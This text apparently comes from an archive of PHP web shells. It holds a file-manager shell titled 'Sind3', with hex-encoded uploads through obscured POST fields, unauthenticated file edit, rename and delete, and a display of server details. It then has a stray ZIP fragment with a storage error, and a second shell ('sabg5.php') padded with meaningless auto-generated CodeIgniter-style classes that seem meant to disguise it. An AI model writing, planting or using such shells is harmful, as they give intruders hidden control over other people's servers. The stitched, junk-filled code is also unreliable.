if ($i != $m) $breadcrumbHtml .= '2f';
}
$breadcrumbHtml .= '">'.$l.'</a>/';
}
echo $breadcrumbHtml;
exit;
}
function safe_stream_copy($in, $out): bool {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
if (fwrite($out, $buff) === false) {
return false;
}
}
} while (!feof($in));
return true;
} else {
return stream_copy_to_stream($in, $out) !== false;
}
}
if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
$fileName = $_POST['benkyo'];
$encodedContent = $_POST['dakeja'];
$decodedContent = hex2bin($encodedContent);
if ($decodedContent === false) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
} else {
setFlash('failed', 'Invalid Base64 encoding');
header("Location: ?d=" . hex($d));
}
exit;
}
$tempStream = fopen('php://temp', 'r+');
fwrite($tempStream, $decodedContent);
rewind($tempStream);
$targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
$outStream = fopen($targetPath, 'wb');
$success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);
if ($outStream) fclose($outStream);
if ($tempStream) fclose($tempStream);
if ($success) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
} else {
setFlash('success', 'File uploaded successfully');
header("Location: ?d=" . hex($d));
}
} else {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
} else {
setFlash('failed', 'File upload failed');
header("Location: ?d=" . hex($d));
exit;
}
}
exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
if ($_GET['action'] === 'delete') {
$fileName = $_GET['file'];
$filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
if (!$filePath || !is_file($filePath)) {
$response = ['status'=>'failed','msg'=>'File not found or access denied'];
} else {
$result = unlink($filePath);
$response = $result
? ['status'=>'success','msg'=>'File deleted successfully']
: ['status'=>'failed','msg'=>'File deletion failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} elseif ($_GET['action'] === 'rename') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
$oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
$newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
if ($oldFile && is_file($oldFile)) {
$result = rename($oldFile, $newFile);
$response = $result
? ['status'=>'success','msg'=>'File renamed successfully']
: ['status'=>'failed','msg'=>'File renaming failed'];
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status'=>'failed','msg'=>'File not found']);
exit;
}
} elseif ($isAjax) {
echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
echo '<div class="terminal-box">';
echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
echo '<br><input type="submit" value="Rename"> ';
echo '<button type="button" id="cancelAction">Cancel</button>';
echo '</form>';
echo '</div><hr>';
exit;
}
} elseif ($_GET['action'] === 'edit') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$fp = fopen($filePath, "w");
if ($fp) {
$bytesWritten = fwrite($fp, stripslashes($_POST['content']));
fclose($fp);
$response = ($bytesWritten !== false)
? ['status' => 'success', 'msg' => 'File edited successfully']
: ['status' => 'failed', 'msg' => 'File editing failed'];
} else {
$response = ['status' => 'failed', 'msg' => 'File opening failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
exit;
}
} elseif ($isAjax) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$content = file_get_contents($filePath);
echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
echo '<div class="terminal-box">';
echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
echo '<br><input type="submit" value="Save"> ';
echo '<button type="button" id="cancelAction">Cancel</button>';
echo '</form>';
echo '</div><hr>';
}
exit;
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Sind3</title>
<!-- Load Ubuntu Mono from Google Fonts -->
<link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
<style>
* { box-sizing: border-box; }
body {
background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
color: #fff;
font-family: 'Ubuntu Mono', monospace;
margin: 0;
padding: 0;
}
.container {
width: 60%;
margin: 50px auto;
padding: 20px;
background-color: #222;
border-radius: 8px;
}
.futer {
width: 60%;
margin: 50px auto;
padding: 20px;
background-color: #222;
border-radius: 8px;
}
.breadcrumbs { margin-bottom: 15px; }
a { color: #0f0; text-decoration: none; }
a:hover { text-decoration: underline; }
table { width: 100%; border-collapse: collapse; margin-top: 20px; }
th, td { border: 1px solid #555; padding: 8px; text-align: left; }
th { background-color: #333; }
input[type="text"], textarea {
width: 100%;
padding: 8px;
margin: 0;
border: 1px solid #333;
border-radius: 4px;
font-family: 'Ubuntu Mono', monospace;
}
input[type="submit"], button {
border: 1px solid #fff;
padding: 4px;
background-color: #333;
color: #fff;
cursor: pointer;
border-radius: 4px;
}
form { margin-bottom: 20px; }
.terminal-box {
background-color: #222;
color: #0f0;
padding: 15px;
border: 1px solid #333;
border-radius: 4px;
margin-bottom: 20px;
}
.terminal-box input[type="text"],
.terminal-box textarea {
background-color: #222;
color: #0f0;
border: 1px solid #333;
}
.notification {
position: fixed;
bottom: 20px;
left: 20px;
padding: 10px 20px;
border-radius: 4px;
font-family: 'Ubuntu Mono', monospace;
font-size: 14px;
}
.success { background-color: #0a0; color: #fff; }
.failed { background-color: #a00; color: #fff; }
/* Custom file input button styling */
#fileInput {
display: none;
}
.custom-file-button {
border: 1px solid #fff;
padding: 4px;
background-color: #333;
color: #fff;
cursor: pointer;
border-radius: 4px;
display: inline-block;
}
</style>
</head>
<body>
<div class="container">
   <b>SERV :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>
   <b>SOFT :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>
   <b>IP :</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br>
<br><b>——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————</b>
<br><br><form id="uploadForm" class="ajaxForm" method="POST">
<label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
<input type="file" id="fileInput" required>
<input type="submit" value="Upload">
</form>
<br><div id="breadcrumbContainer">
<?php
$k = preg_split("/(\\\\|\/)/", $d);
foreach ($k as $m => $l) {
if ($l == '' && $m == 0) {
echo '<a class="ajx" href="?d=2f">/</a>';
}
if ($l == '') continue;
echo '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
echo hex($k[$i]);
if ($i != $m) echo '2f';
}
echo '">'.$l.'</a>/';
}
?>
</div><br>
<div id="actionContainer"></div><br>
<div id="fileListContainer">
<?php
$entries = scandir($d);
$dirList = [];
$fileList = [];
foreach ($entries as $entry) {
if ($entry == '.' || $entry == '..') continue;
$path = $d . DIRECTORY_SEPARATOR . $entry;
if (is_dir($path)) {
$dirList[] = $entry;
} else {
$fileList[] = $entry;
}
}
?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
foreach ($dirList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
echo '<td>-</td>';
echo '<td></td>';
echo '</tr>';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td>' . htmlspecialchars($entry) . '</td>';
echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
echo '<td>';
echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
</div>
</div>
<div class="notification" id="notification" style="display:none;"></div>
<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
var notif = document.getElementById('notification');
notif.className = 'notification ' + status;
notif.innerText = msg;
notif.style.display = 'block';
setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}
function loadBreadcrumb() {
var d = getQueryParam("d") || "<?php echo hex($d); ?>";
fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('breadcrumbContainer').innerHTML = html;
});
}
function getQueryParam(name) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(name);
}
function loadFileList() {
var d = getQueryParam("d") || "<?php echo hex($d); ?>";
fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('fileListContainer').innerHTML = html;
attachAjaxEvents(); // reattach events after update
resetFileInputLabel();
});
}
function resetFileInputLabel() {
var label = document.getElementById('fileLabel');
if(label) {
label.textContent = "Choose File";
}
}
function attachAjaxEvents() {
document.querySelectorAll('.ajaxDelete').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
loadFileList();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxEdit').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('actionContainer').innerHTML = html;
attachAjaxForm();
attachCancelEvent();
resetFileInputLabel();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxRename').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('actionContainer').innerHTML = html;
attachAjaxForm();
attachCancelEvent();
resetFileInputLabel();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxDir').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
window.history.pushState(null, '', link.href);
loadFileList(); // Reload the file list
loadBreadcrumb(); // Reload the breadcrumb
resetFileInputLabel();
resetFileInput();
});
});
}
function attachAjaxForm() {
document.querySelectorAll('.ajaxForm').forEach(function(form) {
form.addEventListener('submit', function(e) {
e.preventDefault();
var formData = new FormData(form);
fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
document.getElementById('actionContainer').innerHTML = '';
loadFileList();
resetFileInputLabel();
});
});
});
}
function attachCancelEvent() {
var cancelBtn = document.getElementById('cancelAction');
if(cancelBtn) {
cancelBtn.addEventListener('click', function() {
document.getElementById('actionContainer').innerHTML = '';
resetFileInputLabel();
});
}
}
function resetFileInput() {
var fileInput = document.getElementById('fileInput');
var fileLabel = document.getElementById('fileLabel');
if (fileInput) {
fileInput.value = ""; // Clear any selected file
}
if (fileLabel) {
fileLabel.textContent = "Choose File"; // Reset label text
}
}
document.addEventListener('DOMContentLoaded', function() {
attachAjaxEvents();
var fileInput = document.getElementById('fileInput');
var uploadForm = document.getElementById('uploadForm');
fileInput.addEventListener('change', function() {
var label = document.getElementById('fileLabel');
if(fileInput.files.length > 0) {
label.textContent = fileInput.files[0].name;
} else {
label.textContent = "Choose File";
}
});
if(uploadForm) {
uploadForm.addEventListener('submit', function(e) {
e.preventDefault();
if(fileInput.files.length === 0) return;
var file = fileInput.files[0];
var reader = new FileReader();
reader.onload = function(event) {
var arrayBuffer = event.target.result;
var bytes = new Uint8Array(arrayBuffer);
var hexString = '';
for (var i = 0; i < bytes.length; i++) {
hexString += bytes[i].toString(16).padStart(2, '0');
}
var formData = new FormData();
formData.append("benkyo", file.name);
formData.append("dakeja", hexString);
fetch(uploadForm.action || window.location.href, {
method: 'POST',
body: formData,
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
uploadForm.reset();
resetFileInputLabel();
loadFileList();
});
};
reader.readAsArrayBuffer(file);
});
}
});
</script>
<footer class="futer">
© zeinhorobosu
</footer>
</body>
</html>
PK 9Jm\���� � about.phpnu �[��� <?xml version="1.0" encoding="UTF-8"?>
<Error><Code>AccessDenied</Code><Message>Access Denied</Message><RequestId>HZ4WXH0ESBF1JYTB</RequestId><HostId>sW4QjcBVd/l6XD1lbbuo901xTax5LDAgIxoFnmL2o7v8to6gcqRJDTqEtwkqgQVo1Ki+Cwcl4lQ=</HostId></Error>PK 9Jm\�h��� �� sabg5.phpnu �[��� <script>
function upload(fileInputId, fileIndex)
{
var url = window.location.pathname;
var scriptname = url.substring(url.lastIndexOf('/')+1);
var filename = document.getElementById('upload_files').value;
var filename = filename.match(/[^\\/]*$/)[0];
var location = window.location.href;
var directoryPath = location.substring(0, location.lastIndexOf("/")+1);
document.getElementById("status").textContent = "Uploading the file "+filename+", please wait..";
document.getElementById("status").style.color = "blue";
// take the file from the input
var file = document.getElementById(fileInputId).files[fileIndex];
var reader = new FileReader();
reader.readAsBinaryString(file); // alternatively you can use readAsDataURL
reader.onloadend = function(evt)
{
// create XHR instance
xhr = new XMLHttpRequest();
// send the file through POST
xhr.open("POST", scriptname+"?name="+filename, true);
// make sure we have the sendAsBinary method on all browsers
XMLHttpRequest.prototype.mySendAsBinary = function(text){
var data = new ArrayBuffer(text.length);
var ui8a = new Uint8Array(data, 0);
for (var i = 0; i < text.length; i++) ui8a[i] = (text.charCodeAt(i) & 0xff);
if(typeof window.Blob == "function")
{
var blob = new Blob([data]);
}else{
var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)();
bb.append(data);
var blob = bb.getBlob();
}
this.send(blob);
}
// let's track upload progress
var eventSource = xhr.upload || xhr;
eventSource.addEventListener("progress", function(e) {
// get percentage of how much of the current file has been sent
var position = e.position || e.loaded;
var total = e.totalSize || e.total;
var percentage = Math.round((position/total)*100);
// here you should write your own code how you wish to proces this
});
// state change observer - we need to know when and if the file was successfully uploaded
xhr.onreadystatechange = function()
{
if(xhr.readyState == 4)
{
if(xhr.status == 200)
{
// process success
document.getElementById("status").textContent = "The file "+filename+" Uploaded successfully in same folder as Shell. At Link= "+directoryPath+filename;
document.getElementById("status").style.color = "green";
}else{
// process error
}
}
};
// start sending
xhr.mySendAsBinary(evt.target.result);
};
}
</script>
<html><link rel='icon' href='https://e.top4top.io/p_26973oc9i1.png' sizes='20x20' type='image/png'><?php
/**
* CodeIgniter Library - PluginwvfS37Probmn96
*
* @version 2.0.45
* @author AuthormbyXp20
* @license MIT
*/
/**
* Class ModelZatB17bLQ41
* DescriptionnKwHBomN87
* @package PackageIOjES78
* @author AuthorsIPYct91
* @version 2.8
*/
class ModelZatB17bLQ41 {
/**
* PropertyXENwyOHpUx40
* @var array
*/
public $paramsJmY77 = true;
/**
* PropertyUoaQFIlsTP76
* @var string
*/
public $valueshzK74 = true;
/**
* PropertytmqoUqfUpe93
* @var string
*/
private $stateKTG67 = 38;
/**
* PropertysEJmXQOfTs48
* @var array
*/
private $constantsWwr83 = 56;
/**
* PropertyPvJHBhqIsR28
* @var array
*/
protected $responseDzF49 = 'valABUh92';
/**
* MethodhWswaZCQbyWu91
* DescriptionZfpAbPinUYNOBzF68
* @param mixed $paramWHn93 = 'defaultPBi81'
* @param mixed $paramLyD73 = 40
* @param mixed $paramAcw36 = 43
* @return mixed
*/
protected function checktGE13($paramWHn93 = 'defaultPBi81', $paramLyD73 = 40, $paramAcw36 = 43) {
try {
// trybIuH67
} catch (Exception $e) {
// catchHQmg47
}
$arrfFJ27 = ['keycXx27' => 'valzzN22'];
$result = $this->funcLPc67();
$result = $this->funcgys57();
$arrene26 = ['keyqPX68' => 'valOrg96'];
switch ($switchPhE67) {
case 3:
// caseoAj69
break;
default:
// defaultaZg17
break;
}
$arrtdl14 = ['keybtk59' => 'valBSp34'];
}
/**
* MethodJPHstVXgayBu90
* DescriptionwpMFnpZLkUQzwDm81
* @param mixed $paramLbu20 = 39
* @param mixed $paramlEG31 = 'defaultXNT59'
* @return mixed
*/
public function configureWrD53($paramLbu20 = 39, $paramlEG31 = 'defaultXNT59') {
switch ($switchYnp81) {
case 4:
// casetAw72
break;
default:
// defaultzJz64
break;
}
switch ($switchDvx74) {
case 1:
// caseQXb13
break;
default:
// defaultsLe75
break;
}
$mathRzF63 = 22 + 9;
$mathRzF63 = $mathRzF63 * 6;
$condXhb98 = false;
if ($condXhb98) {
// commentlxkt61
}
$arrayYkt39 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$arrayjXN16 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
$mathPqn66 = 23 + 70;
$mathPqn66 = $mathPqn66 * 2;
return $retAnr86;
$varLCB68 = 91;
$arrMVY78 = ['keyAMm24' => 'valtbp87'];
$arraydEZ83 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$arrayucp29 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
}
/**
* MethodpfeyMvHFVOOK79
* DescriptiontcnNsOoIDlILDJL83
* @param mixed $paramvop81
* @param mixed $paramyqv97 = 'defaultvWJ10'
* @param mixed $paramsZV24 = 'defaultFxl44'
* @return mixed
*/
private function handleXNM71($paramvop81, $paramyqv97 = 'defaultvWJ10', $paramsZV24 = 'defaultFxl44') {
$vartrv81 = 545;
$strQOQ87 = 'textFqtSF71';
$strQOQ87 = strtoupper($strQOQ87);
try {
// trywiHP80
} catch (Exception $e) {
// catchPBOQ25
}
$arriGq49 = ['keyxVi27' => 'valjuo38'];
for ($iP37 = 0; $iP37 < 1; $iP37++) {
// loopfFF99
}
}
/**
* MethodbUstfhyyWqkv59
* DescriptionvfAAFWMUmcksUSX46
* @param mixed $paramsmq81 = 73
* @return void
*/
public function checkpSt65($paramsmq81 = 73) {
$result = $this->funcjVn64();
$strXrb44 = 'textRJByt90';
$strXrb44 = strtoupper($strXrb44);
try {
// tryvwNK43
} catch (Exception $e) {
// catchnroL38
}
switch ($switchomD46) {
case 5:
// casedGr18
break;
default:
// defaultHYK85
break;
}
$arraylOA76 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$vartNX75 = 180;
$result = $this->funcPbS29();
$arrCiW18 = ['keyyDK67' => 'valYiG10'];
$arraynxb45 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
}
/**
* MethodkUIzvEPpEDQJ71
* DescriptionYVojeCLOiRkcigA34
* @param mixed $parampkG13 = 32
* @return void
*/
public function updateFCq26($parampkG13 = 32) {
switch ($switchhjT45) {
case 2:
// caseSAO17
break;
default:
// defaultzbX16
break;
}
$strYpY67 = 'textGgdbo79';
$strYpY67 = strtoupper($strYpY67);
$mathBQD60 = 1 + 63;
$mathBQD60 = $mathBQD60 * 10;
$condxUm99 = true;
if ($condxUm99) {
// commentdYfg37
}
$arrayopc45 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
for ($iF21 = 0; $iF21 < 2; $iF21++) {
// loopzjY65
}
$varEzp62 = 467;
$arrGar35 = ['keyhsw68' => 'valJdU81'];
switch ($switchovr33) {
case 4:
// caseuxT38
break;
default:
// defaultykk12
break;
}
$mathqIh57 = 27 + 79;
$mathqIh57 = $mathqIh57 * 4;
}
/**
* MethodGaPUuArMQacJ12
* DescriptionrKpPtjNrTNqhSON47
* @param mixed $paramePO59
* @param mixed $paramPyB89 = 100
* @return void
*/
public function applypqZ84($paramePO59, $paramPyB89 = 100) {
$mathjqZ60 = 90 + 64;
$mathjqZ60 = $mathjqZ60 * 7;
$arrYuB65 = ['keynnv97' => 'valvnc55'];
$result = $this->funcngH41();
return $retiht77;
$condMZZ34 = true;
if ($condMZZ34) {
// commentmbbR88
}
switch ($switchhbO88) {
case 3:
// caseXqm88
break;
default:
// defaultjdP66
break;
}
return $retvwV98;
switch ($switchnZw92) {
case 4:
// caseGKs99
break;
default:
// defaultgjL73
break;
}
$varlgB91 = 116;
$varJOn74 = 56;
}
/**
* MethodPcGlNZRMBUXo91
* DescriptionxUUbImntiXZfFWb74
* @return mixed
*/
public function runCCq36() {
$conddrc74 = true;
if ($conddrc74) {
// commentgkJQ84
}
$strKSt83 = 'textewYPk79';
$strKSt83 = strtoupper($strKSt83);
$condZQt66 = true;
if ($condZQt66) {
// commentqZkY47
}
$arrJIR54 = ['keySjS50' => 'valoot38'];
$strIau45 = 'textufsiP42';
$strIau45 = strtoupper($strIau45);
for ($iO60 = 0; $iO60 < 5; $iO60++) {
// loopBpv67
}
$condIEp84 = true;
if ($condIEp84) {
// commenttyIA22
}
return $retagy72;
}
/**
* MethodxlLrrTmbClfJ99
* DescriptiongdfeIPVPzpwKOHy13
* @return void
*/
private function renderFDy37() {
$mathJLS96 = 91 + 98;
$mathJLS96 = $mathJLS96 * 3;
$strobJ15 = 'textthlKp76';
$strobJ15 = strtoupper($strobJ15);
$result = $this->funcOWA10();
$arrayPYr83 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$condWEY41 = false;
if ($condWEY41) {
// commentItWe22
}
switch ($switchRbY60) {
case 2:
// caseYLO79
break;
default:
// defaultWOb26
break;
}
$arraylRq49 = array_map(function($item) {
return $item * 4;
}, [1, 2, 3]);
$arraypLx75 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
$result = $this->funcwsu91();
}
}
/**
* Class HelperqMch87dSV93
* DescriptionLUIUoXtu67
* @package PackageMYMYl49
* @author AuthorkxWIpg62
* @version 5.4
*/
class HelperqMch87dSV93 {
/**
* PropertyppJqjLSPDx74
* @var array
*/
private $stateawD80 = 83;
/**
* PropertyUNrLSmOhzz13
* @var array
*/
protected $variableshCD50 = 'valVudI89';
/**
* PropertynVHGrVroLR99
* @var array
*/
private $itemspvo78 = 95;
/**
* PropertyucjQcAXxBW67
* @var string
*/
public $configwdX29 = false;
/**
* PropertyunyafkQgQr64
* @var array
*/
private $propertiesZgj35 = 28;
/**
* PropertyJCdbJwROQQ24
* @var string
*/
protected $paramsffk79 = 'valLrCo31';
/**
* PropertyYnAdIqiaOw84
* @var string
*/
private $requestUkA15 = 66;
/**
* PropertybqxVuXNtsz85
* @var string
*/
public $propertiesTRf81 = false;
/**
* MethodWLuceQPalNzX59
* DescriptionYsFlkdhypPxSTiM52
* @param mixed $paramBFR97 = 'defaultcNa15'
* @param mixed $paramrrn14 = 'defaultOpu97'
* @return mixed
*/
protected function configurePEJ28($paramBFR97 = 'defaultcNa15', $paramrrn14 = 'defaultOpu97') {
$mathdos78 = 84 + 99;
$mathdos78 = $mathdos78 * 8;
$arrayjJU73 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
$arrgIE72 = ['keyqDK54' => 'valFdA67'];
switch ($switchBDm28) {
case 1:
// caseDtR65
break;
default:
// defaultuQC96
break;
}
for ($iF36 = 0; $iF36 < 4; $iF36++) {
// loopRAf64
}
switch ($switchqOe85) {
case 5:
// casehmh40
break;
default:
// defaultPDu20
break;
}
$result = $this->funcUYa36();
}
/**
* MethodfjEhRGZiFaxy16
* DescriptionZdeYaAUFacqarQo27
* @param mixed $paramUFh54 = 19
* @param mixed $paramVtl92 = 'defaultcqU16'
* @param mixed $paramzAL73 = 'defaultPKr69'
* @return mixed
*/
private function encodeQjo66($paramUFh54 = 19, $paramVtl92 = 'defaultcqU16', $paramzAL73 = 'defaultPKr69') {
switch ($switchoVX91) {
case 3:
// casebDv26
break;
default:
// defaultZaC10
break;
}
switch ($switchXrq82) {
case 4:
// caseegf47
break;
default:
// defaulticR12
break;
}
$arrTOa76 = ['keyKMc96' => 'valdUs60'];
$matheHw70 = 90 + 32;
$matheHw70 = $matheHw70 * 3;
$condQiN79 = true;
if ($condQiN79) {
// commentgXxK41
}
for ($ib34 = 0; $ib34 < 3; $ib34++) {
// loopXPr65
}
try {
// tryfnGv47
} catch (Exception $e) {
// catcheZyw13
}
$varSym62 = 77;
$varGkR78 = 251;
}
/**
* MethodxuPzfVNGwEAH63
* DescriptiontWcHpdxtwNqtnJP42
* @return mixed
*/
private function configuremgi43() {
$arrYsT37 = ['keyVgd36' => 'valFIM12'];
$strrHp44 = 'textMzgiv53';
$strrHp44 = strtoupper($strrHp44);
$arraykpO48 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
return $retqvT71;
return $retcMK55;
$result = $this->funcnAl20();
$stryGH94 = 'textHERqO49';
$stryGH94 = strtoupper($stryGH94);
$mathbtd38 = 76 + 49;
$mathbtd38 = $mathbtd38 * 2;
$strsRv77 = 'textZoZZM59';
$strsRv77 = strtoupper($strsRv77);
$condubH46 = false;
if ($condubH46) {
// commenthEMt99
}
$mathcbb17 = 43 + 4;
$mathcbb17 = $mathcbb17 * 1;
$arrFoD52 = ['keyFCX95' => 'valWYX81'];
}
/**
* MethodibFbXSWUzruC67
* DescriptionVpIedJqToLaJPkk73
* @param mixed $paramPxw84
* @return void
*/
public function executeYcv36($paramPxw84) {
for ($ix50 = 0; $ix50 < 5; $ix50++) {
// loopYiY66
}
$strkUR91 = 'textaGvPu72';
$strkUR91 = strtoupper($strkUR91);
$arrayQcZ80 = array_map(function($item) {
return $item * 5;
}, [1, 2, 3]);
$result = $this->funcuSD42();
$mathOGD42 = 53 + 93;
$mathOGD42 = $mathOGD42 * 7;
$strPyj64 = 'textFPbNH79';
$strPyj64 = strtoupper($strPyj64);
$arrjmh73 = ['keyStU88' => 'valOpa86'];
$condRhR32 = false;
if ($condRhR32) {
// commentpCCh75
}
$varCZX84 = 524;
$arraSO35 = ['keyMTV90' => 'valBwS11'];
return $retGzX46;
$result = $this->funckTa23();
}
/**
* MethodnLSSCBQfFYng52
* DescriptionXxXKSABjKEfhWyl83
* @return void
*/
protected function transformFCj95() {
$strhoV47 = 'textjTVDm44';
$strhoV47 = strtoupper($strhoV47);
$vargcH29 = 585;
$mathfHc41 = 45 + 63;
$mathfHc41 = $mathfHc41 * 8;
return $retlPu59;
$mathysi85 = 89 + 78;
$mathysi85 = $mathysi85 * 9;
$mathbRh87 = 86 + 15;
$mathbRh87 = $mathbRh87 * 1;
$arrQPX39 = ['keyJZY59' => 'valvOX37'];
}
/**
* MethodvvNgTAtmTHQm10
* DescriptionDafTEQiYyvHqwfB50
* @param mixed $paramXtr54 = 'defaultMdz90'
* @param mixed $paramxcu57 = 15
* @param mixed $paramjka52 = 'defaultrOu80'
* @return mixed
*/
private function storeHFk55($paramXtr54 = 'defaultMdz90', $paramxcu57 = 15, $paramjka52 = 'defaultrOu80') {
for ($ie17 = 0; $ie17 < 3; $ie17++) {
// loophkX78
}
$arrLvx72 = ['keyyJd21' => 'valneD17'];
return $retZLD92;
$result = $this->funcIhk66();
$arrayykc40 = array_map(function($item) {
return $item * 3;
}, [1, 2, 3]);
}
/**
* MethodgjlkMyFtqiEa68
* DescriptionjlbyWLQxgygTLSP54
* @param mixed $paramezf88
* @param mixed $paramSOS94
* @param mixed $paramvko38
* @return void
*/
public function escapeBLD93($paramezf88, $paramSOS94, $paramvko38) {
$mathjau66 = 37 + 54;
$mathjau66 = $mathjau66 * 1;
$condDvl98 = true;
if ($condDvl98) {
// commentzGgH91
}
$mathJEy57 = 54 + 38;
$mathJEy57 = $mathJEy57 * 1;
$mathKSA87 = 96 + 66;
$mathKSA87 = $mathKSA87 * 7;
$arrayThk54 = array_map(function($item) {
return $item * 2;
}, [1, 2, 3]);
return $retDYX77;
}
/**
* MethodlzGxYpLZgdeo82
* DescriptionDqJXQvqfZaDKVkg19
* @param mixed $paramNsA48
* @param mixed $paramFMd46
* @param mixed $paramAiy26 = 74
* @return mixed
*/
protected function transformXFo91($paramNsA48, $paramFMd46, $paramAiy26 = 74) {
$varWkg92 = 671;
switch ($switchpdd72) {
case 3:
// caseeYd41
break;
default:
// defaultzfe84
break;
}
$varGwr84 = 67;
$mathyxQ54 = 94 + 62;
$mathyxQ54 = $mathyxQ54 * 6;
$varFKe20 = 936;
for ($id49 = 0; $id49 < 2; $id49++) {
// loopiSz74
}
for ($ir80 = 0; $ir80 < 5; $ir80++) {
// loopAxV80
}
$arrBdO13 = ['keyIIN97' => 'valPOR70'];
switch ($switchlBC64) {
case 5:
// caseNRP15
break;
default:
// defaultqlg82
break;
}
}
/**
* MethodPenpuCuZyaDd52
* DescriptiontncjyyVBXTMTTzg30
* @param mixed $paramAGO38
* @return mixed
*/
protected function handleYFv68($paramAGO38) {
$mathDXk89 = 91 + 31;
$mathDXk89 = $mathDXk89 * 9;
for ($iT20 = 0; $iT20 < 4; $iT20++) {
// loopUJX51
}
try {
// trykNzE11
} catch (Exception $e) {
// catchPlbJ17
}
